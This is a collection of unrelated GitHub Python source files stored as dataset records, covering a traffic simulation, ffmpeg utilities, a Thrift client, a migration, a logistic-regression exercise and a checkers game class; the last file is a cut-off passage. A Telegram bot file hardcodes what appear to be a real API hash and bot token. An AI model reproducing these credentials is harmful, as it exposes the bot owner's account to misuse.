migrated: {name} ({id})\".format(\n name=full_repo_name, id=ra.id))\n continue\n if not repo_vals['hook']:\n continue\n if full_repo_name not in gh_db[str(ra.id)]:\n try:\n repo_info = fetch_gh_info(full_repo_name, gh_api.api)\n gh_db[str(ra.id)][full_repo_name] = repo_info\n except Exception as e:\n if logger is not None:\n logger.exception(\"GH fail: {name} ({id}): {e}\".format(\n name=full_repo_name, id=ra.id, e=e))\n return gh_db\n","repo_name":"slint/zenodo-migrator","sub_path":"zenodo_migrator/github.py","file_name":"github.py","file_ext":"py","file_size_in_byte":6845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"4866830322","text":"import matplotlib.animation as ani\nimport matplotlib.colors as mplc\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nfrom enum import Enum\nimport numpy as np\n\ncols = ['white', 'red', 'blue']\ncmap = mplc.ListedColormap(cols)\n\n\ndef moving_average(a, n=3):\n ret = np.cumsum(a, dtype=float)\n ret[n:] = ret[n:] - ret[:-n]\n return ret[n - 1:] / n\n\n\nclass Colour(Enum):\n WHITE = 0\n RED = 1\n BLUE = 2\n\n\nclass TrafficAnimation:\n im = None\n pbar = None\n num_cars = 0\n mobility = []\n\n def __init__(self, n, cars, nsteps):\n\n self.n = n\n self.cars = cars\n self.nsteps = nsteps\n self.arr = np.zeros((nsteps, n, n))\n\n self.init_arr()\n self.init_mobility()\n self.populate_arr()\n\n def init_mobility(self):\n self.num_cars = np.count_nonzero(self.arr)\n self.mobility = np.zeros(self.nsteps)\n self.mobility[0] = 1.0\n\n def init_arr(self):\n self.arr[0, :, :] = np.random.choice([v.value for v in Colour.__members__.values()],\n size=(self.n, self.n),\n p=self.cars)\n\n def populate_arr(self):\n\n arr = self.arr\n n = self.n\n\n for t in range(1, self.nsteps):\n\n # Copy the previous configuration\n arr[t, :, :] = arr[t - 1, :, :]\n num_moves = 0\n\n # Move red cars\n if t % 2 == 0:\n red_row, red_col = np.where(arr[t, :, :] == Colour.RED.value)\n for r, c in zip(red_row, red_col):\n if arr[t, r, (c + 1) % n] == Colour.WHITE.value:\n arr[t, r, (c + 1) % n] = Colour.RED.value\n arr[t, r, c] = Colour.WHITE.value\n num_moves += 1\n\n self.mobility[t] = num_moves / len(red_row)\n\n # Move blue cars\n if t % 2 == 1:\n blu_row, blu_col = np.where(arr[t, :, :] == Colour.BLUE.value)\n for r, c in zip(blu_row, blu_col):\n if arr[t, (r + 1) % n, c] == Colour.WHITE.value:\n arr[t, (r + 1) % n, c] = Colour.BLUE.value\n arr[t, r, c] = Colour.WHITE.value\n num_moves += 1\n\n self.mobility[t] = num_moves / len(blu_row)\n\n def show_steps(self, steps):\n\n nplots = len(steps)\n nrows = 2\n ncols = int(nplots / 2)\n\n fig, ax = plt.subplots(nrows, ncols, sharey='row')\n for i in range(0, nplots):\n curr_arr = self.arr[steps[i], :, :]\n curr_ax = ax[int(i / (nplots / 2)), int(i % (nplots / 2))]\n curr_ax.imshow(curr_arr, interpolation=\"none\", origin=\"upper\", cmap=cmap)\n curr_ax.set_title(f\"Step: {steps[i]}\")\n fig.tight_layout()\n fig.show()\n # fig.savefig(\"./figs/1.png\")\n\n def plot_mobility(self, fig=None, ax=None):\n if fig is None or ax is None:\n fig, ax = plt.subplots()\n ax.plot(moving_average(self.mobility))\n return fig\n\n def animation_init(self):\n return [self.im]\n\n def animate(self, i):\n self.pbar.update(1)\n self.im.set_array(self.arr[i + 1, :, :])\n return [self.im]\n\n def make_animation(self):\n\n self.pbar = tqdm(total=self.nsteps - 1)\n\n fig, ax = plt.subplots()\n self.im = ax.imshow(self.arr[0, :, :], interpolation=\"none\", origin=\"upper\", cmap=cmap)\n ax.set_title(\"Car motion\")\n anim = ani.FuncAnimation(fig,\n self.animate,\n init_func=self.animation_init,\n frames=self.nsteps - 1)\n anim.save('./figs/traffic_flow.mp4', fps=30)\n\n\ndef show_steps():\n np.random.seed(0)\n n = 30\n nsteps = 1000\n\n b = 0.25\n r = 0.25\n w = 1 - b - r\n\n ta = TrafficAnimation(n, [w, r, b], nsteps)\n ta.show_steps([int(p * nsteps) for p in np.linspace(0.0, 0.99, 8)])\n\n\ndef create_animation():\n np.random.seed(0)\n n = 30\n nsteps = 1000\n\n b = 0.25\n r = 0.25\n w = 1 - b - r\n\n ta = TrafficAnimation(n, [w, r, b], nsteps)\n ta.make_animation()\n\n\ndef plot_mobility():\n np.random.seed(0)\n n = 30\n nsteps = 500\n\n # Density of traffic of both colours\n density = np.linspace(0.01, 1.00, 10)\n\n #\n fig, ax = plt.subplots()\n for d in density:\n\n b = d / 2\n r = d / 2\n w = 1 - b - r\n ta = TrafficAnimation(n, [w, r, b], nsteps)\n fig = ta.plot_mobility(fig=fig, ax=ax)\n\n ax.set_title(\"Mobility for different densities\")\n ax.set_xlabel(\"Step [n]\")\n ax.set_ylabel(\"Mobility (percentage of cars able to move)\")\n ax.legend([f\"r = b = {round(100 * d, 2)} %\" for d in density])\n fig.show()\n # fig.savefig(\"./figs/2.png\")\n\n\ndef main():\n show_steps()\n create_animation()\n plot_mobility()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"mrcromulent/stat_mech_playground","sub_path":"traffic_flow_2d/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4950,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"32734178599","text":"from pyrogram import Client, filters\nimport roll\nimport postgres\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, ReplyKeyboardMarkup\n\nbot = Client(\n \"aboba\",\n api_id=15757718,\n api_hash=\"f98906c4d2e3d37de4e8373ba28b6be4\",\n bot_token=\"5238095432:AAHLwu4xn3t3rZWbuq9TKrOaj0UWSPOcjA8\"\n)\n\n\n@bot.on_message(filters.command('start'))\ndef start_message(bot, message):\n bot.send_message(message.chat.id, \"hey, I'm a bot\")\n\n\n@bot.on_message(filters.command('roll'))\ndef start_message(bot, message):\n number = roll.random_number(0, 100)\n bot.send_message(message.chat.id, f\"Случайное число - {number}\")\n\n\n@bot.on_message(filters.command('coinflip'))\ndef start_message(bot, message):\n number = roll.random_number(1, 2)\n if number == 1:\n bot.send_message(message.chat.id, \"Орел\")\n else:\n bot.send_message(message.chat.id, \"Решка\")\n\n\n@bot.on_message(filters.command('question'))\ndef start_message(bot, message):\n row1 = postgres.question_get(1)\n row = row1[0]\n question = row[1]\n answer = row[2]\n incorrect_answer = row[3]\n incorrect_answer2 = row[4]\n incorrect_answer3 = row[5]\n all_answers = [answer,\n incorrect_answer,\n incorrect_answer2,\n incorrect_answer3\n ]\n # a1 = ReplyKeyboardMarkup(incorrect_answer, one_time_keyboard=True, resize_keyboard=True)\n # a2 = ReplyKeyboardMarkup(answer, one_time_keyboard=True, resize_keyboard=True)\n reply_markup = ReplyKeyboardMarkup(all_answers)\n message.reply(\n text=question,\n reply_markup=reply_markup,\n )\n\n\nprint(\"------- bot is working -------\")\nbot.run()\n","repo_name":"Qu1cker/pyrogram-for-telegram-groups","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1912658943","text":"from os import path\nimport re\n\nFFPROBE_COMMAND = 'ffprobe'\nFFMPEG_COMMAND = 'ffmpeg'\nSCATT_MODULES_DIR = path.dirname(__file__)\nFFMPEG_MD5_PATH = path.join(SCATT_MODULES_DIR, '.{0:s}.md5'.format(FFMPEG_COMMAND))\nSUPPORTED_FILE_EXTENSIONS_LIST_PATH = path.join(path.dirname(__file__), '.supported_video_file_extensions')\n\nLINE_FEED_REGEX = re.compile('\\n')\nDEMUXER_FILE_EXTENSION_NAMES_REGEX = re.compile('Common extensions: (.+)\\.$', re.MULTILINE)\n\nclass ScattVideoUtilsError(Exception):\n def __init__(self, message):\n self.message = message\n\n\ndef get_waveform_digest_generator_path():\n import platform\n platform_system_name = platform.system()\n platform_machine_name = platform.machine()\n waveform_digest_generator_path = None\n waveform_digest_generator_filename = 'create_waveform_digest'\n if platform_system_name == 'Darwin':\n if platform_machine_name == 'x86_64':\n waveform_digest_generator_path = path.join(SCATT_MODULES_DIR, 'bin', 'macosx_x86_64', waveform_digest_generator_filename)\n elif platform_machine_name == 'arm64':\n waveform_digest_generator_path = path.join(SCATT_MODULES_DIR, 'bin', 'macosx_arm64', waveform_digest_generator_filename)\n else:\n raise ScattVideoUtilsError('{0:s}/{1:s} is unexpected platform.'.format(platform_system_name, platform_machine_name))\n\n elif platform_system_name == 'Linux':\n if platform_machine_name == 'x86_64':\n waveform_digest_generator_path = path.join(SCATT_MODULES_DIR, 'bin', 'linux_x86_64', waveform_digest_generator_filename)\n elif platform_machine_name == 'x86':\n waveform_digest_generator_path = path.join(SCATT_MODULES_DIR, 'bin', 'linux_x86', waveform_digest_generator_filename)\n else:\n raise ScattVideoUtilsError('{0:s}/{1:s} is unexpected platform.'.format(platform_system_name, platform_machine_name))\n\n elif platform_system_name == 'Windows':\n if platform_machine_name == 'x86_64':\n waveform_digest_generator_path = path.join(SCATT_MODULES_DIR, 'bin', 'windows_x86_64', waveform_digest_generator_filename + '.exe')\n elif platform_machine_name == 'x86':\n waveform_digest_generator_path = path.join(SCATT_MODULES_DIR, 'bin', 'windows_x86', waveform_digest_generator_filename + '.exe')\n else:\n raise ScattVideoUtilsError('{0:s}/{1:s} is unexpected platform.'.format(platform_system_name, platform_machine_name))\n\n if not path.exists(waveform_digest_generator_path):\n raise ScattVideoUtilsError('{0:s} is not found.'.format(waveform_digest_generator_path))\n \n return waveform_digest_generator_path\n\n\ndef _generate_normalized_video_file_h264(input_video_file_path: str, output_video_file_path: str) -> None:\n import subprocess\n commands = [\n FFMPEG_COMMAND,\n '-i', input_video_file_path,\n '-ss', '0',\n '-acodec', 'copy',\n '-fflags', '+genpts',\n '-loglevel', 'level+error',\n '-y',\n output_video_file_path,\n ]\n process_result = subprocess.run(commands, capture_output=True)\n if process_result.returncode != 0:\n error_message = process_result.stderr.decode('utf-8')\n raise ScattVideoUtilsError('failed to normalize video file: \\n{0:s}'.format(error_message))\n\n\ndef _get_start_frame_idx(input_video_file_path: str) -> int:\n import subprocess\n import json\n commands = [\n FFPROBE_COMMAND,\n input_video_file_path,\n '-select_streams', 'v',\n '-show_entries', 'frame=coded_picture_number',\n '-print_format', 'json',\n '-read_intervals', '%1',\n '-loglevel', 'level+error',\n ]\n process_result = subprocess.run(commands, capture_output=True)\n if process_result.returncode != 0:\n error_message = process_result.stderr.decode('utf-8')\n raise ScattVideoUtilsError('failed to get start frame index: \\n{0:s}'.format(error_message))\n\n ffprobe_out = json.loads(process_result.stdout.decode('utf-8'))\n coded_picture_numbers = list(map(lambda x: int(x['coded_picture_number']), ffprobe_out['frames']))\n return sorted(coded_picture_numbers)[0]\n\n\ndef get_start_offset_time(input_video_file_path: str) -> None:\n import subprocess\n import json\n import math\n from fractions import Fraction\n from datetime import datetime, MINYEAR\n commands = [\n FFPROBE_COMMAND,\n input_video_file_path,\n '-select_streams', 'v',\n '-show_entries', 'stream=r_frame_rate',\n '-print_format', 'json',\n '-loglevel', 'level+error',\n ]\n process_result = subprocess.run(commands, capture_output=True)\n if process_result.returncode != 0:\n error_message = process_result.stderr.decode('utf-8')\n raise ScattVideoUtilsError('failed to get frame rate: \\n{0:s}'.format(error_message))\n\n ffprobe_out = json.loads(process_result.stdout.decode('utf-8'))\n frame_rate = Fraction(ffprobe_out['streams'][0]['r_frame_rate'])\n start_frame_idx = _get_start_frame_idx(input_video_file_path)\n start_offset_sec = start_frame_idx / frame_rate\n start_offset_time = datetime(\n MINYEAR,\n 1,\n 1,\n math.floor(start_offset_sec / (60 * 60)),\n math.floor(start_offset_sec / 60),\n math.floor(start_offset_sec % 60),\n math.floor((start_offset_sec * 1000000) % 1000000),\n )\n return start_offset_time\n\n\ndef is_normalization_needed(input_video_file_path: str) -> bool:\n try:\n return (_get_start_frame_idx(input_video_file_path) != 0)\n except:\n return False\n\n\ndef generate_normalized_video_file(input_video_file_path: str, output_video_file_path: str) -> None:\n import subprocess\n import json\n\n commands = [\n FFPROBE_COMMAND,\n input_video_file_path,\n '-select_streams', 'v',\n '-show_entries', 'stream=codec_name,codec_type',\n '-print_format', 'json',\n '-loglevel', 'level+error',\n ]\n process_result = subprocess.run(commands, capture_output=True)\n if process_result.returncode != 0:\n error_message = process_result.stderr.decode('utf-8')\n raise ScattVideoUtilsError('failed to get video codec: \\n{0:s}'.format(error_message))\n\n ffprobe_out = json.loads(process_result.stdout.decode('utf-8'))\n first_input_video_stream_info = ffprobe_out['streams'][0]\n if first_input_video_stream_info['codec_type'] == 'video':\n video_codec_name = first_input_video_stream_info['codec_name']\n if video_codec_name == 'h264':\n _generate_normalized_video_file_h264(input_video_file_path, output_video_file_path)\n else:\n raise ScattVideoUtilsError('{0:s} is unsupported video codec for normalizing video file.'.format(video_codec_name))\n\n\ndef get_supported_video_file_extensions():\n import subprocess\n import shutil\n from io import StringIO\n ffmpeg_path = shutil.which(FFMPEG_COMMAND)\n with open(ffmpeg_path, 'rb') as file:\n import hashlib\n ffmpeg_md5 = hashlib.md5(file.read()).digest()\n \n update_needed = False\n if not path.exists(FFMPEG_MD5_PATH) or (not path.exists(SUPPORTED_FILE_EXTENSIONS_LIST_PATH)):\n update_needed = True\n else:\n with open(FFMPEG_MD5_PATH, 'rb') as file:\n existing_ffmpeg_md5 = file.read()\n if ffmpeg_md5 != existing_ffmpeg_md5:\n update_needed = True\n\n if not update_needed:\n with open(SUPPORTED_FILE_EXTENSIONS_LIST_PATH) as file:\n return file.read().splitlines()\n\n else:\n with open(FFMPEG_MD5_PATH, 'wb') as file:\n import hashlib\n file.write(ffmpeg_md5)\n\n commands = [\n FFMPEG_COMMAND,\n '-demuxers',\n '-loglevel', 'level+error',\n ]\n process_result = subprocess.run(commands, capture_output=True)\n if process_result.returncode != 0:\n error_message = process_result.stderr.decode('utf-8')\n raise ScattVideoUtilsError('failed to get file extensions: \\n{0:s}'.format(error_message))\n\n format_string = process_result.stdout.decode('utf-8')\n file_format_list_starts_at = format_string.index('File formats:')\n file_format_list_header_ends_at = format_string.index(' --', file_format_list_starts_at)\n file_format_list_body_starts_at = LINE_FEED_REGEX.search(format_string, file_format_list_header_ends_at).end()\n file_format_list_body_string_io = StringIO(format_string[file_format_list_body_starts_at:-1])\n supported_video_file_extensions = list()\n line = file_format_list_body_string_io.readline()\n while len(line) > 0:\n demuxer_name = line[4:-1].split(' ', 1)[0]\n commands = [\n FFMPEG_COMMAND,\n '-h', 'demuxer={0:s}'.format(demuxer_name),\n '-loglevel', 'level+error',\n ]\n process_result = subprocess.run(commands, capture_output=True)\n if process_result.returncode != 0:\n error_message = process_result.stderr.decode('utf-8')\n raise ScattVideoUtilsError('failed to get video file extension: \\n{0:s}'.format(error_message))\n\n demuxer_help_string = process_result.stdout.decode('utf-8')\n file_extension_names_match_result = DEMUXER_FILE_EXTENSION_NAMES_REGEX.search(demuxer_help_string)\n if file_extension_names_match_result is not None:\n file_extension_names = file_extension_names_match_result.group(1)\n for file_extension_name in file_extension_names.split(','):\n if file_extension_name not in supported_video_file_extensions:\n supported_video_file_extensions.append(file_extension_name)\n line = file_format_list_body_string_io.readline()\n\n with open(SUPPORTED_FILE_EXTENSIONS_LIST_PATH, 'wt') as file:\n for supported_video_file_extension in sorted(supported_video_file_extensions):\n file.write('{0:s}\\n'.format(supported_video_file_extension))\n\n return supported_video_file_extensions\n\n\ndef test_operating_condition() -> None:\n import shutil\n if shutil.which(FFMPEG_COMMAND) is None:\n raise ScattVideoUtilsError('{0:s} is not found. make sure that PATH is set correctly.'.format(FFMPEG_COMMAND))\n if shutil.which(FFPROBE_COMMAND) is None:\n raise ScattVideoUtilsError('{0:s} is not found. make sure that PATH is set correctly.'.format(FFPROBE_COMMAND))\n\n\ndef generate_waveform_digest_file_from_video_file(input_video_file_path: str) -> bytes:\n import subprocess\n\n supported_video_file_extensions = get_supported_video_file_extensions()\n split_result = input_video_file_path.lower().rsplit('.', 1)\n if len(split_result) == 0:\n raise ScattVideoUtilsError('{0:s} has no file extension.'.format(input_video_file_path))\n\n input_video_file_base_path, input_video_file_extension = split_result\n if input_video_file_extension not in supported_video_file_extensions:\n raise ScattVideoUtilsError('{0:s} is not supported.'.format(input_video_file_extension))\n\n output_wav_file_path = input_video_file_base_path + '.wav'\n commands = [\n FFMPEG_COMMAND,\n '-i', input_video_file_path,\n '-loglevel', 'level+error',\n output_wav_file_path,\n '-y',\n ]\n process_result = subprocess.run(commands, capture_output=True)\n if process_result.returncode != 0:\n error_message = process_result.stderr.decode('utf-8')\n raise ScattVideoUtilsError('failed to generate waveform digest: \\n{0:s}'.format(error_message))\n\n return generate_waveform_digest_file(output_wav_file_path)\n\n\ndef generate_waveform_digest_file(input_wav_file_path: str) -> bytes:\n import subprocess\n waveform_digest_generator_path = get_waveform_digest_generator_path()\n commands = [\n waveform_digest_generator_path,\n input_wav_file_path,\n ]\n process_result = subprocess.run(commands, capture_output=True)\n if process_result.returncode != 0:\n error_message = process_result.stderr.decode('utf-8')\n raise ScattVideoUtilsError('failed to generate waveform digest: \\n{0:s}'.format(error_message))\n\n return process_result.stdout\n \n","repo_name":"iflb/langx-tutti-client-python","sub_path":"langx_tutti_client/scatt_modules/scatt_video_utils.py","file_name":"scatt_video_utils.py","file_ext":"py","file_size_in_byte":12265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21071476473","text":"import sys\nimport glob\n\nsys.path.append('gen-py')\n\nfrom tutorial import Calculator\nfrom tutorial.ttypes import InvalidOperation, Operation, Work\n\nfrom thrift import Thrift\nfrom thrift.transport import TSocket\nfrom thrift.transport import TTransport\nfrom thrift.protocol import TBinaryProtocol\n\n\ndef main():\n # Make socket\n transport = TSocket.TSocket('localhost', 9090)\n\n # Buffering is critical. Raw sockets are very slow\n transport = TTransport.TBufferedTransport(transport)\n\n # Wrap in a protocol\n protocol = TBinaryProtocol.TBinaryProtocol(transport)\n\n # Create a client to use the protocol encoder\n client = Calculator.Client(protocol)\n\n # Connect!\n transport.open()\n\n client.ping()\n print('ping()')\n\n sum_ = client.add(1, 1)\n print('1+1=%d' % sum_)\n\n work = Work()\n\n work.op = Operation.DIVIDE\n work.num1 = 1\n work.num2 = 0\n\n try:\n quotient = client.calculate(1, work)\n print('Whoa? You know how to divide by zero?')\n print('FYI the answer is %d' % quotient)\n except InvalidOperation as e:\n print('InvalidOperation: %r' % e)\n\n work.op = Operation.SUBTRACT\n work.num1 = 15\n work.num2 = 10\n\n diff = client.calculate(1, work)\n print('15-10=%d' % diff)\n\n log = client.getStruct(1)\n print('Check log: %s' % log.value)\n\n # Close!\n transport.close()\n\n\nif __name__ == '__main__':\n try:\n main()\n except Thrift.TException as tx:\n print(f'{tx.message}')\n","repo_name":"sivabudh/thrifly","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"15344816238","text":"\"\"\"Enable public ingredients\n\nRevision ID: 1807553a5c77\nRevises: 964fdad8ef3d\nCreate Date: 2021-04-29 13:22:11.674931\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = \"1807553a5c77\"\ndown_revision = \"964fdad8ef3d\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column(\"ingredients\", sa.Column(\"is_public\", sa.Boolean(), nullable=True))\n op.add_column(\n \"ingredients\", sa.Column(\"source\", sa.String(length=255), nullable=True)\n )\n op.alter_column(\n \"measurements\", \"name\", existing_type=mysql.VARCHAR(length=80), nullable=False\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column(\n \"measurements\", \"name\", existing_type=mysql.VARCHAR(length=80), nullable=True\n )\n op.drop_column(\"ingredients\", \"source\")\n op.drop_column(\"ingredients\", \"is_public\")\n # ### end Alembic commands ###\n","repo_name":"janpeterka/kucharka","sub_path":"migrations/versions/20210429_public_ingredients.py","file_name":"20210429_public_ingredients.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"16245807462","text":"import setuptools\n\n\nwith open(\"README.md\", \"r\") as file:\n long_description = file.read()\n\n\nsetuptools.setup(\n name=\"ppdir\",\n version=\"0.1.0\",\n author=\"Emanuel Claesson\",\n author_email=\"emanuel.claesson@gmail.com\",\n description=\"Pretty print a directory structure as a tree\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/EClaesson/ppdir\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n python_requires='>=3.5',\n install_requires=[\n 'colorama>=0.4.3'\n ],\n entry_points={\n 'console_scripts': ['ppdir=ppdir:main'],\n },\n)\n","repo_name":"EClaesson/ppdir","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21138271865","text":"import numpy as np\nfrom icecream import ic\n\n\ndef CELoss_binary(X, y, theta):\n '''\n paras: X is a mini-batch of samples, y is the true label of the samples\n in the mini-batch, theta is the parameter we need to learn in logistic regression\n return: the binary cross entropy\n '''\n \"\"\"Your code here\"\"\"\n z = X @ theta\n p = 1 / (1 + np.exp(-z))\n return -((np.log(p) * y) + np.log(1 - p) * (1 - y)).mean()\n\n\ndef precision(y_true, y_predict):\n '''\n paras: y_true is the true label, y_predict is the predicted label of your model\n return: the precision\n '''\n return np.sum(y_true == y_predict) / y_true.shape[0]\n\n\ndef gradient(X, y, theta):\n '''\n paras: X is a mini-batch of samples, y is the true label of the samples\n in the mini-batch, theta is the parameter we need to learn in logistic regression\n return: the mini-batch gradient of the binary cross entropy loss function with respect to \n the parameter theta for a given mini-batch of samples\n '''\n \"\"\"Your code here\"\"\"\n z = X @ theta\n p = 1 / (1 + np.exp(-z))\n grad = (p - y) @ X\n return grad / X.shape[0]\n\n\nif __name__ == \"__main__\":\n X_all, y_all = np.load('Data2_X.npy'), np.load('Data2_Y.npy')\n \"\"\"Your code here\"\"\"\n X_all_cat = np.hstack([X_all, np.ones([X_all.shape[0], 1])])\n\n lr, h = 0.1, 0.5\n batch_sizes = [1, 50, 100]\n epoch_num = 400\n loss = [[], [], []]\n acc = [[], [], []]\n ori_theta = np.random.random(X_all.shape[-1] + 1)\n for i, batch_size in enumerate(batch_sizes):\n theta = np.copy(ori_theta)\n for _ in range(epoch_num):\n indices = np.random.choice(\n np.arange(X_all_cat.shape[0]), batch_size, replace=False)\n X_batch = X_all_cat[indices]\n y_batch = y_all[indices]\n loss[i].append(\n ic(CELoss_binary(X_all_cat, y_all, theta)))\n acc[i].append(ic(precision(\n y_all, np.where(np.dot(X_all_cat, theta) > -np.log(1 / h - 1), 1, 0))))\n theta -= gradient(X_batch, y_batch, theta) * lr\n\n import matplotlib.pyplot as plt\n import matplotlib\n\n matplotlib.style.use(\"seaborn\")\n\n fig, ax = plt.subplots(figsize=(5, 4))\n for y in loss:\n ax.plot(y)\n ax.legend([f\"$batch\\ size\\ =\\ {s}$\" for s in batch_sizes])\n ax.set_title(f\"$lr\\ =\\ {lr},\\ h\\ =\\ {h}$\")\n fig.savefig(f\"loss_{lr}_{h}.png\")\n\n fig, ax = plt.subplots(figsize=(5, 4))\n for y in acc:\n ax.plot(y)\n ax.legend([f\"$batch\\ size\\ =\\ {s}$\" for s in batch_sizes])\n ax.set_title(f\"$lr\\ =\\ {lr},\\ h\\ =\\ {h}$\")\n fig.savefig(f\"acc_{lr}_{h}.png\")\n\n fig, ax = plt.subplots(figsize=(5, 4))\n pos_index = np.where(y_all == 1)\n neg_index = np.where(y_all == 0)\n ax.scatter(\n X_all[pos_index, 0], X_all[pos_index, 1],\n marker='o', c=\"#EF4026\")\n ax.scatter(\n X_all[neg_index, 0], X_all[neg_index, 1],\n marker='x', c=\"#069AF3\")\n t = np.linspace(0, 1, 100)\n # theta[0] + theta[1] * x0 + theta[2] * x1 = -np.log(1 / h -1)\n y = - (np.log(1 / h - 1) + theta[0] * t + theta[2]) / theta[1]\n ax.plot(t, y, c=\"#15B01A\")\n ax.set_title(f\"$lr\\ =\\ {lr},\\ h\\ =\\ {h}$\")\n fig.savefig(f\"all_{lr}_{h}.png\")\n","repo_name":"CWHer/CS410","sub_path":"lab5/src/P2.py","file_name":"P2.py","file_ext":"py","file_size_in_byte":3238,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"28395001399","text":"'''\nClass representing and recording game states.\n'''\n\nfrom piece import Piece\nfrom move import Move\n\n\nclass GameState:\n '''\n Class -- GameState\n Reports current state of each piece in a game\n Attributes:\n squares -- Current square the piece was located\n current_player -- The player who's currently making a move\n Methods:\n load_current_piece_location -- Helper function\n is_in_bound -- Check if piece is in bound\n get_moved_location -- A tuple representing location after move\n get_square_by_location -- Find square at certain location\n update_square -- Update square attributes while moving\n find_possible_moves -- Find all possible moves given start location\n and return a list of possible moves\n get_move_by_end_location -- Check if the chosen piece matches with\n end location of any possible move\n is_valid_move -- Valid capturing and noncapturing moves\n has_capturing_move -- Check whether any capturing move available\n move -- move a piece\n who_wins -- Return the winner of the game\n get_enemy_color -- Find opposite player / color\n next_round -- Update & initialize game state\n '''\n INITIAL_STATE = 0\n MOVE_STATE = 1\n\n def __init__(self, current_player, state):\n '''\n Constructor -- Creates a new instance of GameState\n Parameters:\n self -- The current GameState object\n current_player -- current player of the game; User or Computer\n state -- current game state\n '''\n self.squares = []\n self.current_player = current_player\n self.state = state\n self.possible_moves = []\n self.piece_locations_by_player = {Piece.BLACK: set(), Piece.RED: set()}\n\n def load_current_piece_locations(self):\n '''\n Method -- load_current_piece_location\n Collect locations of pieces of same colors.\n Each color was collected into sets and stored as values\n related with players(keys).\n Parameter:\n self -- The current GameState object\n '''\n piece_locations_by_player = {Piece.BLACK: set(), Piece.RED: set()}\n for row in self.squares:\n for square in row:\n if square is not None:\n piece_locations_by_player[square.color].add(\n square.location)\n self.piece_locations_by_player = piece_locations_by_player\n\n def is_in_bounds(self, location):\n '''\n Method -- is_in_bounds:\n Check if the location is within checkboard.\n Parameters:\n self -- Current GameState object\n location -- Current piece location, a pair of indices\n '''\n for index in location:\n if index >= len(self.squares) or index < 0:\n return False\n return True\n\n def get_moved_location(self, start_location, direction):\n '''\n Method -- get_moved_location:\n Get destination location from starting location\n by specified direction moving rule\n Parameters:\n self -- Current object of GameState\n start_location -- a pair of indices\n direction -- diagonal moving direction determined by\n current player\n Return:\n End location of the piece after move, an index tuple.\n '''\n return (start_location[0] + direction[0],\n start_location[1] + direction[1])\n\n def get_square_by_location(self, location):\n '''\n Method -- get_square_by_location:\n Map a valid location coordinate (tuple pair) to\n a square (None or an object of Piece)\n Parameters:\n self -- Current object of GameState\n location -- An index pair indicating location\n Return:\n A square (None or an object of Piece)\n '''\n return self.squares[location[0]][location[1]]\n\n def update_square(self, location, square):\n '''\n Method -- update_square:\n Helper function when moving pieces.\n Update a piece with location, its allowed moving direction;\n Also updates the target square on the board.\n Parameters:\n self -- Current GameState object\n location -- Location to be updated, with regards with\n piece(object of Piece) and square(Attribute of GameState)\n '''\n if square is not None:\n # Update location in Piece if it's not None\n square.location = location\n\n # Update to King if qualified\n top = len(self.squares) - 1\n if location[0] == top and square.color == Piece.BLACK:\n square.is_king = True\n elif location[0] == 0 and square.color == Piece.RED:\n square.is_king = True\n\n # Update directions\n square.find_direction()\n\n self.squares[location[0]][location[1]] = square\n\n def find_possible_moves(self, start_location):\n '''\n Method -- find_possible_moves\n Find all possible moves given a valid location\n Parameters:\n self -- The current GameState object\n start_location -- Current square the piece located\n Return:\n All possible moves -- a list of tuples\n '''\n start_square = self.get_square_by_location(start_location)\n moves = []\n\n for direction in start_square.find_direction():\n end_location = self.get_moved_location(start_location, direction)\n if self.is_in_bounds(end_location):\n end_square = self.get_square_by_location(end_location)\n if end_square is None:\n # Uncapturing move\n possible_move = Move(\n start_square.location, end_location, False, None)\n moves.append(possible_move)\n elif end_square.color != start_square.color:\n next_location = \\\n self.get_moved_location(end_location, direction)\n if self.is_in_bounds(next_location) and \\\n self.get_square_by_location(next_location) is None:\n # Capturing move\n possible_move = Move(\n start_square.location,\n next_location, True, end_location)\n moves.insert(0, possible_move)\n return moves\n\n def get_move_by_end_location(self, current_location):\n '''\n Method -- get_move_by_end_location\n If the clicked square is within the list of\n possible moves' end locations, return those moves;\n Otherwise, return None.\n Parameters:\n self -- The current GameState object\n current_location -- Clicked square by user;\n Or AI selected square\n Return:\n Qualified chosen moves\n '''\n for move in self.possible_moves:\n if current_location == move.end:\n return move\n return None\n\n def is_valid_move(self, move):\n '''\n Method -- is_valid_move\n Determine if select move is valid.\n A move is valid if: capturing move; OR a non-capture move\n when there is no capturing move available.\n Parameters:\n self -- The current GameState object\n move -- a move\n Return:\n Boolean value of whether the move made is valid.\n '''\n if move.is_capture:\n return True\n else:\n # invalid if the selected move is non-capturing\n # and there is a capturing move in possible moves\n return not self.has_capturing_move()\n\n def has_capturing_move(self):\n '''\n Method -- has_capturing_move\n Determine if there is any capturing move in possible moves\n '''\n return len(self.possible_moves) > 0 